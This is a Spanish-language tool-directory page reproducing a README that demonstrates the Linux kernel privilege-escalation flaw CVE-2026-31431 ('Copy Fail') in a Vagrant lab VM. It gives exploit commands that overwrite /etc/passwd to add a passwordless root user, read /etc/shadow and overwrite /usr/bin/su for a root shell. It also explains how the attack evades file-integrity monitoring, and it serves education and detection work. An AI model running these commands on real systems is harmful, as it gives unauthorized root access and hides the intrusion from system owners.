Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Una demostración y explicación de CVE-2026-31431 | Kitploit
Herramientas/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Una demostración y explicación de CVE-2026-31431

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
119hace 8 díasAún no revisado

CVE-2026-31431 CopyFail Escalada de Privilegios Local en Linux

Una demostración y explicación de CVE-2026-31431, la vulnerabilidad de Escalada de Privilegios Local Copy Fail del Kernel de Linux. La vulnerabilidad permite que los archivos abiertos con permiso de lectura tengan sus datos sobrescritos en la caché de páginas.

Este repositorio es solo para fines educativos e ilustra la vulnerabilidad en un entorno controlado. Los archivos incluidos son:

├── exploit
│   ├── copy_fail.py            # Exploit personalizado que puede atacar cualquier archivo con permisos de lectura
│   ├── original_payload.txt    # Una copia del payload utilizado en el exploit original
│   ├── copy_fail_original.py   # Exploit original que sobrescribe /usr/bin/su
│   └── copy_fail_readable.py   # Exploit original en un formato más legible con una explicación del payload
├── README.md
└── Vagrantfile                 # Configuración para la VM de Vagrant ejecutando Ubuntu 22.04

Introducción

La vulnerabilidad, denominada Copy Fail, está presente en los kernels de Linux desde 2017 hasta 2026 debido a un fallo lógico en algif_aead. Se le ha asignado CVE-2026-31431 con una puntuación CVSS de 7.8, lo que conlleva una calificación de severidad alta. El exploit es determinista y puede eludir las herramientas tradicionales de monitoreo de integridad de archivos.

Se han publicado pruebas de concepto en varios lenguajes, incluidos C, Python y Go, pero para esta demostración se utiliza Python y requiere la versión 3.10 o superior. Este exploit requiere ejecución de código local como un usuario sin privilegios y puede utilizarse para la escalada de privilegios local.

Las siguientes secciones son:

  • Explotación: Demostraciones del exploit y cómo puede utilizarse para obtener privilegios de root.
  • Nota sobre la Detección de Explotación: Una explicación de por qué este exploit es difícil de detectar con las herramientas tradicionales de monitoreo de integridad de archivos.
  • Vulnerabilidad: Un enlace al commit que introdujo la vulnerabilidad y una explicación del problema.
  • Parche: Un enlace al commit que parcheó la vulnerabilidad y una explicación de la solución.
  • Recursos Adicionales: Una lista de recursos para lectura adicional e implementaciones del exploit en varios lenguajes

Explotación

Configuración

Asegúrate de tener Vagrant y QEMU instalados. Luego, clona este repositorio y navega al directorio del proyecto.

vagrant up
vagrant ssh

Dentro de la VM, podemos probar los límites de nuestras capacidades.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Se nos solicita la contraseña de root, la cual no tenemos

stat /usr/bin/su # Tenemos permisos de lectura y ejecución
stat /etc/passwd # Tenemos permiso de lectura
stat /etc/shadow # No tenemos permisos

Obviamente estamos limitados en nuestras capacidades, pero podemos usar la vulnerabilidad para escalar privilegios.

Demostración de Explotación 1: Entendiendo el Exploit

Para entender la vulnerabilidad, sobrescribamos un archivo ficticio y veamos qué sucede.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Tenemos un archivo con tres líneas. La primera línea tiene 6 bytes (incluido el salto de línea), la segunda línea tiene 2 bytes, y la tercera línea es un solo byte. Esto es importante porque el exploit sobrescribe datos en bloques de 4 bytes, y rellenamos el payload para completarlo.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Podemos ver que hemos reemplazado los primeros 8 bytes del archivo con nuestro payload. Hay dos caracteres que están ahí pero no son imprimibles. Abre el archivo en nano para comprobarlo. Pero esto no es demasiado emocionante, así que pasemos a escribir en archivos para los que no tenemos permisos de escritura.

Demostración de Explotación 2: Eliminando la Contraseña de Root

Podemos sobrescribir el contenido de /etc/passwd para agregar un usuario con privilegios de root pero sin contraseña.

cat /etc/passwd

La primera línea contiene el usuario root y contiene 8 grupos de 4 caracteres (incluido el salto de línea). Está formateada de la siguiente manera root:x:0:0:root:/root:/bin/bash, y los valores se refieren a nombre de usuario, contraseña, UID, GID, directorio home, shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Hemos agregado un nuevo usuario hackd con UID 0 y GID 0, lo que significa que tiene privilegios de root. El campo de contraseña está vacío, por lo que podemos iniciar sesión sin contraseña.

su hackd
id
cat /etc/shadow

Demostración de Explotación 3: Sobrescribiendo un Ejecutable

En el exploit original, el binario /usr/bin/su se sobrescribe con instrucciones para ejecutar un shell, permitiendo al atacante obtener privilegios de root al ejecutar su. Podemos recrear este exploit apuntando a /usr/bin/su con el payload original desde un archivo. Ten en cuenta que esto destruye el binario su en esta caché de páginas.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Con el payload en su lugar, podemos ejecutar su y obtener privilegios de root. Esto abre un shell con id de usuario 0, que normalmente es el usuario root, pero si se llevó a cabo la demostración anterior, sería el usuario hackd que creamos. Este exploit abriría un shell incluso si el usuario root tiene una contraseña.

su
id

Nota sobre la Detección de Explotación

Este exploit no modifica el archivo en disco, sino el estado de la caché de páginas. Como resultado, las herramientas tradicionales de monitoreo de integridad de archivos que verifican cambios en los archivos en disco no detectan este exploit.

Para demostrar esto, ejecuta el/los exploit(s) anterior(es) y luego, tras reiniciar la VM, verifica el contenido del archivo objetivo.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # El archivo no ha cambiado en disco

Las reglas de detección se comparten en repositorios de GitHub de la comunidad que intentan detectar indicadores de red o patrones de scripts conocidos. Estas reglas de detección se basan en artefactos de PoC públicos, payloads conocidos, fragmentos de código y URLs.

  • Reglas Yara
  • Reglas Sigma

Por ejemplo, lo siguiente detectaría fragmentos de código específicos relacionados con PoC o payloads codificados:

Descargar herramienta